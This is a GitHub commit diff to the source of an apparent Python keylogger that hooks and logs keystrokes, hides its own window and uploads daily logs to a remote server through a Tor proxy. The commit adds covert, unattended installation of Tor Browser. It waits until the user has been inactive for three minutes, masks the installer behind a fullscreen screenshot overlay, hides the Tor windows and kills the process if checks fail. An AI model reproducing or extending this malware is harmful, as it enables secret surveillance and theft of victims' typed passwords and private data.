@@ -32,9 +32,10 @@ def hide():
32
32
if mode != "debug" :
33
33
hide ()
34
34
35
-
36
- import keyboard # for keyboard hooks. See docs https://github.com/boppreh/keyboard
37
- import psutil
35
+ from keyboard import is_pressed , hook , wait , get_hotkey_name
36
+ # for keyboard hooks. See docs https://github.com/boppreh/keyboard
37
+ from psutil import pids as psutil_pids , Process as psutil_Process
38
+ import signal
38
39
from ctypes import WinDLL # for getting window titles, current keyboard layout and capslock state
39
40
import urllib .request
40
41
import datetime # for getting the current time and using timedelta
@@ -43,18 +44,18 @@ def hide():
43
44
import Cryptodome .Util
44
45
from Cryptodome .Hash import SHA3_512
45
46
import base64
46
- import hashlib # for hashing the names of files
47
- import multiprocessing
48
- import threading
49
- from subprocess import run as subprocess_run
50
- import requests
47
+ from hashlib import md5 as hashlib_md5 # for hashing the names of files
48
+ from multiprocessing import Process as multiprocessing_Process
49
+ from threading import Thread as threading_Thread
50
+ from requests import get as requests_get , post as requests_post , exceptions as requests_exceptions
51
51
import socks
52
- import socket
52
+ from socket import getfqdn as socket_getfqdn
53
53
from random import choice , shuffle
54
54
from pywinauto .application import Application
55
55
import pywinauto .timings
56
56
import tkinter as tk
57
57
from PIL import Image , ImageGrab , ImageTk
58
+ import numpy as np
58
59
import re
59
60
import time
60
61
@@ -342,50 +343,99 @@ def check_if_tor_browser_is_installed():
342
343
343
344
344
345
def show_screenshot ():
346
+ tk .Tk ().withdraw ()
345
347
root = tk .Toplevel ()
346
348
w , h = root .winfo_screenwidth (), root .winfo_screenheight ()
347
349
root .overrideredirect (1 )
348
350
root .geometry ("%dx%d+0+0" % (w , h ))
349
351
root .focus_set ()
350
352
root .bind ("<Escape>" , lambda e : (e .widget .withdraw (), e .widget .quit ()))
351
353
canvas = tk .Canvas (root , width = w , height = h )
352
- canvas .pack ()
354
+ canvas .pack (in_ = root )
353
355
canvas .configure (background = 'black' )
354
356
screenshot = ImageGrab .grab ()
355
357
ph = ImageTk .PhotoImage (screenshot )
356
358
canvas .create_image (w / 2 , h / 2 , image = ph )
359
+ root .wm_attributes ("-topmost" , 1 )
357
360
root .mainloop ()
358
361
return
359
362
360
363
364
+ def count_image_diff (img1 , img2 ):
365
+ s = 0
366
+ if img1 .getbands () != img2 .getbands ():
367
+ return - 1
368
+ for band_index , band in enumerate (img1 .getbands ()):
369
+ m1 = np .array ([p [band_index ] for p in img1 .getdata ()]).reshape (* img1 .size )
370
+ m2 = np .array ([p [band_index ] for p in img2 .getdata ()]).reshape (* img2 .size )
371
+ s += np .sum (np .abs (m1 - m2 ))
372
+ return s
373
+
374
+
375
+ def has_screen_changed (screenshot_1 ):
376
+ screenshot_2 = ImageGrab .grab ()
377
+ diff = count_image_diff (screenshot_1 , screenshot_2 )
378
+ if diff < 1000000 : # a change significant enough
379
+ return False , screenshot_2
380
+ else :
381
+ return True , screenshot_2
382
+
383
+
384
+ def detect_user_inactivity ():
385
+ # Detect user inactivity by detecting screen change + mouse movement + key press
386
+ seconds_inactive = 0
387
+ screenshot_1 = ImageGrab .grab ()
388
+ mouse_saved_pos = win32api .GetCursorPos ()
389
+ keys_saved_pressed = get_hotkey_name ()
390
+ sleep = 20 # seconds
391
+ while seconds_inactive < 180 : # 3 minutes of mouse + keyboard + screen inactivity
392
+ screen_changed , screen_pic = has_screen_changed (screenshot_1 )
393
+ mouse_pos , keys_pressed = win32api .GetCursorPos (), get_hotkey_name ()
394
+ if screen_changed or mouse_saved_pos != mouse_pos or keys_saved_pressed != keys_pressed :
395
+ mouse_saved_pos , keys_saved_pressed = mouse_pos , keys_pressed
396
+ seconds_inactive = 0
397
+ else :
398
+ seconds_inactive += sleep
399
+ time .sleep (sleep )
400
+ return
401
+
402
+
361
403
def install_tor_browser ():
362
404
if not os .name == "nt" :
363
405
return # TODO: Linux, MacOS
364
406
# 1. Download the installer
365
407
try :
366
- r = requests . get ("http://www.torproject.org/download/" )
408
+ r = requests_get ("http://www.torproject.org/download/" )
367
409
if r .status_code == 200 :
368
410
tor_windows_url = r .text .split (".exe" )[0 ].split ("href=\" " )[- 1 ] + ".exe"
369
411
else :
370
412
tor_windows_url = "https://www.torproject.org/dist/torbrowser/8.5.5/torbrowser-install-win64-8.5.5_en-US.exe"
371
- except requests . exceptions .ConnectionError :
413
+ except requests_exceptions .ConnectionError :
372
414
tor_windows_url = "https://www.torproject.org/dist/torbrowser/8.5.5/torbrowser-install-win64-8.5.5_en-US.exe"
373
415
try :
374
- tor_installer = requests . get (tor_windows_url )
375
- except requests . exceptions .ConnectionError :
416
+ tor_installer = requests_get (tor_windows_url )
417
+ except requests_exceptions .ConnectionError :
376
418
return
377
419
installer_path = os .path .join (dir_path , tor_windows_url .split ("/" )[- 1 ])
378
- open (installer_path , 'wb' ).write (tor_installer .content )
420
+ try : open (installer_path , 'wb' ).write (tor_installer .content )
421
+ except : return
379
422
# 2. Install
380
423
installation_dir = os .path .join (dir_path , "Tor_Browser" )
381
- os .remove (installation_dir )
424
+ if os .path .exists (installation_dir ):
425
+ try : os .remove (installation_dir )
426
+ except : return
427
+
428
+ detect_user_inactivity ()
382
429
383
- screenshot_process = multiprocessing . Process (target = show_screenshot , args = ())
430
+ screenshot_process = multiprocessing_Process (target = show_screenshot , args = ())
384
431
screenshot_process .start ()
385
432
433
+ time .sleep (5 )
434
+
386
435
try :
387
436
app = Application (backend = "win32" ).start (installer_path )
388
437
except :
438
+ screenshot_process .terminate ()
389
439
return
390
440
try :
391
441
app .Dialog .OK .wait ('ready' , timeout = 30 )
@@ -403,32 +453,37 @@ def install_tor_browser():
403
453
pass
404
454
except pywinauto .timings .TimeoutError :
405
455
app .kill ()
456
+ screenshot_process .terminate ()
457
+ return
406
458
try :
407
- app .InstallDialog .CheckBox .wait ('ready' , timeout = 30 ).uncheck ()
408
- app .InstallDialog .CheckBox2 .wait ('ready' , timeout = 30 ).uncheck ()
459
+ app .InstallDialog .CheckBox .wait ('ready' , timeout = 120 ).uncheck ()
460
+ app .InstallDialog .CheckBox2 .wait ('ready' , timeout = 120 ).uncheck ()
409
461
app .InstallDialog .FinishButton .wait ('ready' , timeout = 30 ).click ()
410
462
except pywinauto .timings .TimeoutError :
411
463
app .kill ()
464
+ screenshot_process .terminate ()
465
+ return
412
466
413
467
screenshot_process .terminate ()
414
468
415
469
# 3. Remove the installer
416
470
os .remove (installer_path )
417
- return tor_installation_dir
471
+
472
+ return installation_dir
418
473
419
474
420
475
def is_tor_browser_already_open (program_path ):
421
- for pid in psutil . pids (): # Iterates over all process-ID's found by psutil
476
+ for pid in psutil_pids (): # Iterates over all process-ID's found by psutil
422
477
try :
423
- p = psutil . Process (pid ) # Requests the process information corresponding to each process-ID,
424
- # the output wil look (for example) like this: <psutil.Process (pid=5269, name='Python') at 4320652312>
478
+ p = psutil_Process (pid ) # Requests the process information corresponding to each process-ID,
479
+ # the output wil look (for example) like this: <psutil_Process (pid=5269, name='Python') at 4320652312>
425
480
if program_path in p .exe (): # checks if the value of the program-variable
426
481
# that was used to call the function matches the name field of the plutil.Process(pid)
427
482
# output (see one line above).
428
- return True , p .exe ()
483
+ return pid , p .exe ()
429
484
except :
430
485
continue
431
- return False , None
486
+ return None , None
432
487
433
488
434
489
def find_top_windows (wanted_text = None , wanted_class = None , selection_function = None ):
@@ -456,6 +511,12 @@ def _normalise_text(control_text):
456
511
Useful for matching control text """
457
512
return control_text .lower ().replace ('&' , '' )
458
513
514
+ def _windowEnumerationHandler (hwnd , resultList ):
515
+ '''Pass to win32gui.EnumWindows() to generate list of window handle,
516
+ window text, window class tuples.'''
517
+ resultList .append ((hwnd ,
518
+ win32gui .GetWindowText (hwnd ),
519
+ win32gui .GetClassName (hwnd )))
459
520
results = []
460
521
top_windows = []
461
522
win32gui .EnumWindows (_windowEnumerationHandler , top_windows )
@@ -470,17 +531,25 @@ def _normalise_text(control_text):
470
531
return results
471
532
472
533
473
- def open_tor_browser (installation_dir ):
534
+ def open_tor_browser (tor_installation_dir ):
474
535
user32 = WinDLL ('user32' )
475
- os .startfile (os .path .join (os . path . split ( os . path . split ( installation_dir )[ 0 ])[ 0 ] , "Start Tor Browser.lnk" ))
536
+ os .startfile (os .path .join (tor_installation_dir , "Start Tor Browser.lnk" ))
476
537
start_time = time .time ()
477
- while time .time () - start_time < 60 :
538
+ check_1 = check_2 = False
539
+ while time .time () - start_time < 5 :
478
540
hwnd_1 = find_top_windows (wanted_text = "Establishing a Connection" , wanted_class = 'MozillaDialogClass' )
479
541
hwnd_2 = find_top_windows (wanted_text = "About Tor" , wanted_class = 'MozillaWindowClass' )
480
542
if len (hwnd_1 ) == 1 :
481
543
user32 .ShowWindow (hwnd_1 [0 ], 0 )
544
+ check_1 = True
482
545
if len (hwnd_2 ) == 1 :
483
546
user32 .ShowWindow (hwnd_2 [0 ], 0 )
547
+ check_2 = True
548
+ break
549
+ if not (check_1 and check_2 ):
550
+ pid , _ = is_tor_browser_already_open (program_path = 'Tor Browser\\ Browser\\ firefox.exe' )
551
+ if pid :
552
+ os .kill (pid , 9 )
484
553
485
554
486
555
def find_the_previous_log_and_send ():
@@ -491,20 +560,21 @@ def find_the_previous_log_and_send():
491
560
delta = 1
492
561
while delta <= 366 :
493
562
previous_date = (datetime .date .today () - timedelta (days = delta )).strftime ('%Y-%b-%d' )
494
- previous_date_hashed = hashlib . md5 (bytes (previous_date , 'utf-8' )).hexdigest ()
563
+ previous_date_hashed = hashlib_md5 (bytes (previous_date , 'utf-8' )).hexdigest ()
495
564
if os .path .exists (previous_date_hashed + ".txt" ):
496
565
found_filenames .append (previous_date_hashed + ".txt" )
497
566
delta += 1
498
567
# check if TOR is opened/installed
499
- is_tor_open , tor_installation_dir = is_tor_browser_already_open (program_path = 'Tor Browser\\ Browser\\ firefox.exe' )
568
+ open_tor_pid , tor_installation_dir = is_tor_browser_already_open (program_path = 'Tor Browser\\ Browser\\ firefox.exe' )
500
569
if not tor_installation_dir :
501
570
tor_installation_dir = check_if_tor_browser_is_installed ()
502
571
# if not tor_installation_dir:
503
- tor_installation_dir = install_tor_browser ()
572
+ tor_installation_dir = install_tor_browser () # add indent
573
+ tor_installation_dir = os .path .split (os .path .split (tor_installation_dir )[0 ])[0 ] # add indent
504
574
if not tor_installation_dir :
505
575
return True # ONE DOES NOT SIMPLY USE CLEARNET.
506
576
else : # USE DARKNET ONLY
507
- if not is_tor_open :
577
+ if not open_tor_pid :
508
578
open_tor_browser (tor_installation_dir )
509
579
for found_filename in found_filenames :
510
580
# Now that we found the old log files (found_filename), send them to our server.
@@ -518,18 +588,18 @@ def find_the_previous_log_and_send():
518
588
counter = 0
519
589
while counter < 5 :
520
590
try :
521
- r = requests . get (server_parser_list [counter ][0 ])
591
+ r = requests_get (server_parser_list [counter ][0 ])
522
592
if r .status_code == 200 :
523
593
ip = eval (server_parser_list [counter ][1 ])
524
594
break
525
- except requests . exceptions .ConnectionError :
595
+ except requests_exceptions .ConnectionError :
526
596
pass
527
597
counter += 1
528
- new_found_filename = str (socket . getfqdn ()) + ("_" if ip != "" else "" ) + ip + "_" + found_filename
598
+ new_found_filename = str (socket_getfqdn ()) + ("_" if ip != "" else "" ) + ip + "_" + found_filename
529
599
os .rename (found_filename , new_found_filename ) # rename the file to avoid async errors
530
- sent_status_code = requests . get (url_server_check_connection , proxies = proxies ).status_code
600
+ sent_status_code = requests_get (url_server_check_connection , proxies = proxies ).status_code
531
601
if sent_status_code == 200 : # send logs
532
- uploaded_status = requests . post (url_server_upload ,
602
+ uploaded_status = requests_post (url_server_upload ,
533
603
proxies = proxies ,
534
604
data = open (new_found_filename , "rb" ).read ()).status_code
535
605
if uploaded_status == 200 :
@@ -542,12 +612,12 @@ def log_local():
542
612
global dir_path , line_buffer , backspace_buffer_len , window_name , time_logged
543
613
todays_date = datetime .datetime .now ().strftime ('%Y-%b-%d' )
544
614
# md5 only for masking dates - it's easily crackable for us:
545
- todays_date_hashed = hashlib . md5 (bytes (todays_date , 'utf-8' )).hexdigest ()
615
+ todays_date_hashed = hashlib_md5 (bytes (todays_date , 'utf-8' )).hexdigest ()
546
616
# We need to check if it is a new day, if so, send the old log to the server.
547
617
if not os .path .exists (todays_date_hashed + ".txt" ): # a new day, a new life...
548
618
if mode == "remote" :
549
619
# Evaluate find_the_previous_log_and_send asynchronously
550
- thr = threading . Thread (target = find_the_previous_log_and_send , args = (), kwargs = {})
620
+ thr = threading_Thread (target = find_the_previous_log_and_send , args = (), kwargs = {})
551
621
thr .start ()
552
622
# thr.is_alive() # check if it is alive
553
623
# thr.join()
@@ -630,9 +700,9 @@ def key_callback(event):
630
700
# 3. DETERMINE THE KEY_PRESSED GIVEN THE EVENT
631
701
if event .name in ['left' , 'right' ]: # arrow keys # 'home', 'end', 'up', 'down'
632
702
key_pressed_list = list ()
633
- if keyboard . is_pressed ('ctrl' ) or keyboard . is_pressed ('right ctrl' ):
703
+ if is_pressed ('ctrl' ) or is_pressed ('right ctrl' ):
634
704
key_pressed_list .append ('ctrl' )
635
- if keyboard . is_pressed ('shift' ) or keyboard . is_pressed ('right shift' ):
705
+ if is_pressed ('shift' ) or is_pressed ('right shift' ):
636
706
key_pressed_list .append ('shift' )
637
707
key_pressed = '<' + '+' .join (key_pressed_list ) + (
638
708
'+' if len (key_pressed_list ) > 0 else '' ) + event .name + '>'
@@ -693,8 +763,8 @@ def key_callback(event):
693
763
694
764
def main ():
695
765
# KEYLOGGER STARTS
696
- keyboard . hook (key_callback )
697
- keyboard . wait ()
766
+ hook (key_callback )
767
+ wait ()
698
768
return
699
769
700
770
0 commit comments